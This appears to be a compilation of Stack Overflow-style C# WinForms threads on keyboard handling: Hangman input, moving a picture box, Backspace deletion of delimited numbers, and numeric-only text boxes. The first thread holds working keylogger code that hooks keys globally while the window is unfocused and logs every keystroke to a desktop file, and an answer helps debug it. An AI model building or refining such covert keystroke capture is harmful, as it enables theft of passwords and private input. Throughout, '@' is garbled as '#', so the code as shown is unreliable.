I'm using global keyboard hooks as a keyboard listener when the window is out of focus. I'm half way through some code and I realise that for whatever reason, putting caps lock on changes the output of KeyEventArgs. Using shift/no shift outputs ordinary results but if I were to put caps lock on, A will become U, B will become V, C will become W and so on. Here's a look at the code that does this (will add global keyboard hooks if necessary):
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Utilities;
namespace WindowsFormsApplication1
{
public partial class Form6 : Form
{
globalKeyboardHook gkh = new globalKeyboardHook();
int sign_Indicator = 0;
double variable1;
double variable2;
int addBit = 0;
int subBit = 0;
int multBit = 0;
int divBit = 0;
int modBit = 0;
Boolean fl = false;
String s, x;
public Form6()
{
InitializeComponent();
}
private void Form6_Load(object sender, EventArgs e)
{
gkh.HookedKeys.Add(Keys.A);
gkh.HookedKeys.Add(Keys.B);
gkh.HookedKeys.Add(Keys.C);
gkh.HookedKeys.Add(Keys.D);
gkh.HookedKeys.Add(Keys.E);
gkh.HookedKeys.Add(Keys.F);
gkh.HookedKeys.Add(Keys.G);
gkh.HookedKeys.Add(Keys.H);
gkh.HookedKeys.Add(Keys.I);
gkh.HookedKeys.Add(Keys.J);
gkh.HookedKeys.Add(Keys.K);
gkh.HookedKeys.Add(Keys.L);
gkh.HookedKeys.Add(Keys.M);
gkh.HookedKeys.Add(Keys.N);
gkh.HookedKeys.Add(Keys.O);
gkh.HookedKeys.Add(Keys.P);
gkh.HookedKeys.Add(Keys.Q);
gkh.HookedKeys.Add(Keys.R);
gkh.HookedKeys.Add(Keys.S);
gkh.HookedKeys.Add(Keys.T);
gkh.HookedKeys.Add(Keys.U);
gkh.HookedKeys.Add(Keys.V);
gkh.HookedKeys.Add(Keys.W);
gkh.HookedKeys.Add(Keys.X);
gkh.HookedKeys.Add(Keys.Y);
gkh.HookedKeys.Add(Keys.Z);
gkh.HookedKeys.Add(Keys.D1);
gkh.HookedKeys.Add(Keys.D2);
gkh.HookedKeys.Add(Keys.D3);
gkh.HookedKeys.Add(Keys.D4);
gkh.HookedKeys.Add(Keys.D5);
gkh.HookedKeys.Add(Keys.D6);
gkh.HookedKeys.Add(Keys.D7);
gkh.HookedKeys.Add(Keys.D8);
gkh.HookedKeys.Add(Keys.D9);
gkh.HookedKeys.Add(Keys.D0);
gkh.HookedKeys.Add(Keys.Return);
gkh.HookedKeys.Add(Keys.Shift);
gkh.HookedKeys.Add(Keys.CapsLock);
gkh.HookedKeys.Add(Keys.Back);
gkh.HookedKeys.Add(Keys.Escape);
gkh.HookedKeys.Add(Keys.Space);
gkh.HookedKeys.Add(Keys.OemPeriod);
gkh.HookedKeys.Add(Keys.Oemcomma);
gkh.HookedKeys.Add(Keys.OemMinus);
gkh.HookedKeys.Add(Keys.Oemplus);
gkh.HookedKeys.Add(Keys.OemPipe);
gkh.HookedKeys.Add(Keys.OemBackslash);
gkh.HookedKeys.Add(Keys.OemOpenBrackets);
gkh.HookedKeys.Add(Keys.OemCloseBrackets);
gkh.HookedKeys.Add(Keys.OemQuotes);
gkh.HookedKeys.Add(Keys.OemSemicolon);
gkh.HookedKeys.Add(Keys.Oemtilde);
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
}
public static string location = "C:\\Users\\Hayden\\Desktop\\log.txt";
void gkh_KeyDown(object sender, KeyEventArgs e)
{
if (e.Modifiers == Keys.Shift)
{
if (e.KeyCode == Keys.OemPipe)
{
System.IO.File.AppendAllText(#location, "|");
}
else
{
System.IO.File.AppendAllText(#location, e.KeyCode.ToString());
}
}
else
{
if (e.KeyCode == Keys.Return)
{
System.IO.File.AppendAllText(#location, "[RETURN]");
}
else if (e.KeyCode == Keys.Back)
{
System.IO.File.AppendAllText(#location, "[BACKSPACE]");
}
else if (e.KeyCode == Keys.Space)
{
System.IO.File.AppendAllText(#location, " ");
}
else if (e.KeyCode == Keys.OemPeriod)
{
System.IO.File.AppendAllText(#location, ".");
}
else if (e.KeyCode == Keys.Oemcomma)
{
System.IO.File.AppendAllText(#location, ",");
}
else if (e.KeyCode == Keys.OemPipe)
{
System.IO.File.AppendAllText(#location, "\\");
}
else if (e.KeyCode == Keys.CapsLock)
{
System.IO.File.AppendAllText(#location, "");
}
else if (Control.IsKeyLocked(Keys.CapsLock))
{
System.IO.File.AppendAllText(#location, e.KeyCode.ToString());
}
else
{
System.IO.File.AppendAllText(#location, e.KeyCode.ToString().ToLower());
}
}
}
How can I fix this? I have no idea why it's changing the letter completely just because I put caps lock on. Shift works fine though.
The globalKeyboardHook class you link to has a AddModifiers(Keys key) method with this line:
if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0) key = key | Keys.CapsLock;
This code checks if Cap Lock is on and if so it ORs the key variable which is later returned by the method.
The problem is that Caps Lock is not a modifier key and shouldn't be manipulated this way. This is the reason you're seeing the strange key values you are when Caps Lock in on.
Incidentally, only Control, Shift and Alt are modifier keys and AddModifiers() handles these.
If you remove this line I believe you'll be fine.
Related
I am new to c#. I am learning graphic objects by doing a Hangman game.
I need to save two char arrays : first from the word to be searched in word_selection_proposal(), second from the word suggested by the other player in word_selection_analysis().
I was thinking in using a boolean variable named first to ensure if that is the first time the function txtWord_KeyPress is called or not, to distinguish the first ENTER from the first player to the player who is searching for the word. I understand my boolean is a local variable so it is reset to true each time ENTER is pressed.
Is there a possibility to count the number of times ENTER is pressed so then I can distinguish which function to call to save the arrays then I could save this data.
Please, see just below the code and a picture to understand the code.
Thank you in advance
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Hangman_Game
{
public partial class Hangman : Form
{
public Hangman()
{
InitializeComponent();
}
private void Hangman_Load(object sender, EventArgs e)
{
FillComboLetters();
comboLetters.Enabled = false;
btnTest.Enabled = false;
btnReplay.Enabled = false;
lblVictory.Text = "";
txtWord.Text = "Enter a word to search here";
txtWord.Focus();
}
private void FillComboLetters()
{
comboLetters.Items.Clear();
for (int k = 0; k < 26; k++)
{
comboLetters.Items.Add((char)('A' + k));
}
comboLetters.SelectedIndex = 0;
}
private void txtWord_Click(object sender, EventArgs e)
{
txtWord.Text = "";
txtWord.Focus();
}
private void txtWord_KeyPress(object sender, KeyPressEventArgs e)
{
Boolean first = true;
string message = txtWord.Text.ToUpper();
if ((e.KeyChar == (char) Keys.Enter) && first)
{
word_selection_proposal(message);
first = false;
}
if ((e.KeyChar == (char)Keys.Enter) && !first)
{
word_selection_analysis(message);
}
}
private void word_selection_proposal(string word)
{
char[] player1 = word.ToCharArray();
txtWord.Text = "Array copied, Now your turn";
}
private void word_selection_analysis(string word)
{
char[] player2 = word.ToCharArray();
txtWord.Text = "array copied";
txtWord.Focus();
}
}
}
I am fairly new to c# and I want to make a picture box move when I press the WASD keys, but the picture box refuses to move. The picture box is not docked, locked or anchored. This is my code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Imagebox_test1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_KeyDown(object sender, KeyEventArgs e)
{
int x = pictureBox1.Location.X;
int y = pictureBox1.Location.Y;
if (e.KeyCode == Keys.D) x += 1;
else if (e.KeyCode == Keys.A) x -= 1;
else if (e.KeyCode == Keys.W) x -= 1;
else if (e.KeyCode == Keys.S) x += 1;
pictureBox1.Location = new Point(x, y);
}
}
}
I have no idea what's going on! thanks for the help!
There are 2 issues with your code:
Set the form's KeyPreview property to true otherwise it the PictureBox will get the KeyDown event. This was preventing Form1_KeyDown from being called.
This code block has a subtle bug:
if (e.KeyCode == Keys.D) x += 1;
else if (e.KeyCode == Keys.A) x -= 1;
else if (e.KeyCode == Keys.W) x -= 1;
else if (e.KeyCode == Keys.S) x += 1;
If you look closely, you're only modifying the x coordinate.
All together:
public Form1()
{
InitializeComponent();
// Set these 2 properties in the designer, not here.
this.KeyPreview = true;
this.KeyDown += Form1_KeyDown;
}
private void Form1_KeyDown(object sender, KeyEventArgs e)
{
int x = pictureBox1.Location.X;
int y = pictureBox1.Location.Y;
if (e.KeyCode == Keys.D) x += 1;
else if (e.KeyCode == Keys.A) x -= 1;
else if (e.KeyCode == Keys.W) y -= 1;
else if (e.KeyCode == Keys.S) y += 1;
pictureBox1.Location = new Point(x, y);
}
You need to set the form's KyePreview property to true otherwise form will not take that key down event.
Secondly you are only changing x value and not y value.
The whole completed code is
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Imagebox_test1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
KeyPreview = true;
}
private void Form1_KeyDown(object sender, KeyEventArgs e)
{
int x = pictureBox1.Location.X;
int y = pictureBox1.Location.Y;
if (e.KeyCode == Keys.D) x += 1;
else if (e.KeyCode == Keys.A) x -= 1;
else if (e.KeyCode == Keys.W) y -= 1;
else if (e.KeyCode == Keys.S) y += 1;
pictureBox1.Location = new Point(x, y);
}
}
}
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace Game2
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
timer1.Start();
}
private void Move_Ship(int X_Coord ,int Y_Coord, string Positioning)
{
if(Positioning == "Rechts")
{
X_Coord += 5;
this.pictureBox1.Location = new Point(X_Coord, Y_Coord);
};
if (Positioning == "Links")
{
X_Coord -= 5;
this.pictureBox1.Location = new Point(X_Coord, Y_Coord);
};
if (Positioning == "Up")
{
Y_Coord -= 5;
this.pictureBox1.Location = new Point(X_Coord, Y_Coord);
};
if (Positioning == "Down")
{
Y_Coord += 5;
this.pictureBox1.Location = new Point(X_Coord, Y_Coord);
};
}
private void timer1_Tick(object sender, EventArgs e)
{
if (Control.ModifierKeys == Keys.Up)
{
Move_Ship(pictureBox1.Location.X, pictureBox1.Location.Y, "Up");
};
if (Control.ModifierKeys == Keys.Down)
{
Move_Ship(pictureBox1.Location.X, pictureBox1.Location.Y, "Down");
};
if (Control.ModifierKeys == Keys.Left)
{
Move_Ship(pictureBox1.Location.X, pictureBox1.Location.Y, "Links");
};
if (Control.ModifierKeys == Keys.Right)
{
Move_Ship(pictureBox1.Location.X, pictureBox1.Location.Y, "Rechts");
};
}
}
}
If I did this right my piture should be moving the but it doesn't do anything at all.
Did I do something wrong and if so please tell me?
One possible problem is usage of Control.ModifierKeys
Gets a value indicating which of the modifier keys (SHIFT, CTRL, and ALT) is in a pressed state.
If you want to use direction keys - listen for keyDown event and save direction there. Sample and details Control.KeyDown:
private void textBox1_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e)
{
// Determine whether the keystroke is a number from the top of the keyboard.
if (e.KeyCode == Keys.Down)
{
direction = "Down";
}
I have a requirement in C# where I have a text box with numbers delimited by ; say e.g.
(205)33344455;918845566778;
Now when a user presses ← Backspace (to remove the number) one character at a time gets deleted. I want to delete the whole number at once.
So when the user presses ← the first time, the number will be highlighted
i.e. if text is (205)33344455;918845566778;, the 918845566778; part will be highlighted in say black, and when the user presses ← again the whole number i.e. 918845566778; will be deleted.
So is it possible to highlight a particular section in text box, and delete the whole number?
I used a for loop like:
for{back=txtPhone.Text.Length;back<=txtPhone.Text.indexOf(';');back--)
But I was not able to achieve the desired result.
Any help on this would be great.
You can implement your requirement as shown below
private void textBox1_KeyPress(object sender, KeyPressEventArgs e)
{
if (textBox1.Text.Length == 0) return;
if ((e.KeyChar == (char)Keys.Back) && (textBox1.SelectionLength == 0))
{
textBox1.SelectionStart = Math.Max(0, textBox1.Text.Substring(0,textBox1.Text.Length-1).LastIndexOf(';'));
if (textBox1.Text.Substring(textBox1.SelectionStart, 1) == ";") textBox1.SelectionStart++;
textBox1.SelectionLength = textBox1.Text.Length-textBox1.SelectionStart ;
e.Handled = true;
return;
}
if ((e.KeyChar == (char)Keys.Back) && textBox1.SelectionLength >= 0)
{
textBox1.Text = textBox1.Text.Substring(0, textBox1.SelectionStart );
textBox1.SelectionStart = textBox1.Text.Length;
e.Handled = true;
}
}
A couple of methods to achieve want you want come to mind:
Subscribing the text box to Control.Keydown event which would check for the ← button and perform the highlight up to the last delimiter (;) using TextBox.SelectionLength meaning a ← Backspace will clear it.
private void textBox1_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode != Keys.Left)
return;
e.SuppressKeyPress = true;
//Select up to previous delimeter (;) here
}
Use a listbox (or something similar) to store the delimited data as it is entered. This will allow the user to select what they need, and remove it via a button you will provide.
You can :
Select the token (i.e. number terminated by ;) that contains the cursor (method selectToken())
Remove it when backspace is
pressed a second time
Example:
your textbox contains '(205)33344455; 918845566778; 8885554443;'
you click with the left mouse button between 9188455 and 66778; (second number)
then you press backspace
the string 918845566778; gets selected
you press backspace a second time and that string gets deleted
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace Remove_String_from_Text_Box_from_back
{
public partial class Form1 : Form
{
//selects token that contains caret/cursor
private void selectToken() {
string str0 = textBox1.Text;
int caretPosition = textBox1.SelectionStart;
int tokenEndsAtIndex = str0.IndexOf(';', caretPosition, (textBox1.Text.Length - caretPosition));
string prefix = "";
if (tokenEndsAtIndex == -1)
{
tokenEndsAtIndex = str0.IndexOf(';');
}
prefix = str0.Substring(0, tokenEndsAtIndex);
int tokenStartsAtIndex = 0;
tokenStartsAtIndex = prefix.LastIndexOf(';');
if (!(tokenStartsAtIndex > -1)) { tokenStartsAtIndex = 0; } else { tokenStartsAtIndex++; }
textBox1.SelectionStart = tokenStartsAtIndex;
textBox1.SelectionLength = tokenEndsAtIndex - tokenStartsAtIndex + 1;//may be off by one
}
private void selectLastToken(string str0)
{
Regex regex = new Regex(#"([\d()]*;)$");
var capturedGroups = regex.Match(str0);
int idx0 = 0;
if (capturedGroups.Captures.Count > 0)
{
idx0 = str0.IndexOf(capturedGroups.Captures[0].Value, 0);
textBox1.Select(idx0, textBox1.Text.Length);
}
}
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
textBox1.Text = "(205)33344455;918845566778;";
textBox1.Select(0, 0);
}
//selects last token terminated by ;
private void selectTextOnBackSpace()
{
string str0 = textBox1.Text;
int idx0 = str0.LastIndexOf(';');
if (idx0<0)
{
idx0 = 0;
}
string str1 = str0.Remove(idx0);
int idx1 = str1.LastIndexOf(';');
if (idx1 < 0)
{
idx1 = 0;
}
else
{
idx1 += 1;
}
textBox1.SelectionStart = idx1;
textBox1.SelectionLength = str0.Length - idx1;
}
private void textBox1_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == (char)Keys.Back )
{
if (textBox1.SelectionLength==0)
{
selectToken();
e.Handled = true;
}
else
{
e.Handled = false;
}
}
}
}
}
I have a question about a small practice program I'm working on. I have almost no experience with C#, and a little bit of experience with Visual Basic. The problem I'm having has to do with only allowing numbers in the text box. I succeeded in doing so in another program, but for some reason it isn't working with relatively the same code.
Here is the code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void btnCalculate_Click(object sender, EventArgs e)
{
Double TextBoxValue;
TextBoxValue = Convert.ToDouble(txtMinutes.Text);
TextBoxValue = Double.Parse(txtMinutes.Text);
{
Double Answer;
if (TextBoxValue > 59.99)
{
Answer = TextBoxValue / 60;
}
else
{
Answer = 0;
}
{
lblAnswer.Text = Answer.ToString();
}
}
}
private void txtHours_KeyPress(object sender, KeyPressEventArgs e)
{
if (char.IsNumber (e.KeyChar) && Char.IsControl(e.KeyChar))
{
e.Handled = true;
}
}
}
}
If there are other errors in my code that anyone here can correct me on, that is also appreciated. Thanks in advance.
You've got the checks inverted. What your code does is to cancel input if the new character is a number AND if it's a control character.
if (!char.IsNumber(e.KeyChar) && !Char.IsControl(e.KeyChar))
e.Handled = true;
Your logic is incorrect. It states "if the pressed key is a number and a control character.. then i've handled it". What you want is "if the pressed key is NOT a number, I've handled it".
if (!char.IsNumber(e.KeyChar)) {
// ...
private void txtHours_KeyPress(object sender, KeyPressEventArgs e)
{
if (!char.IsControl(e.KeyChar)
&& !char.IsDigit(e.KeyChar)
&& e.KeyChar != '.')
e.Handled = true;
// only allow one decimal point
if (e.KeyChar == '.'
&& (txtHours).Text.IndexOf('.') > -1)
e.Handled = true;
}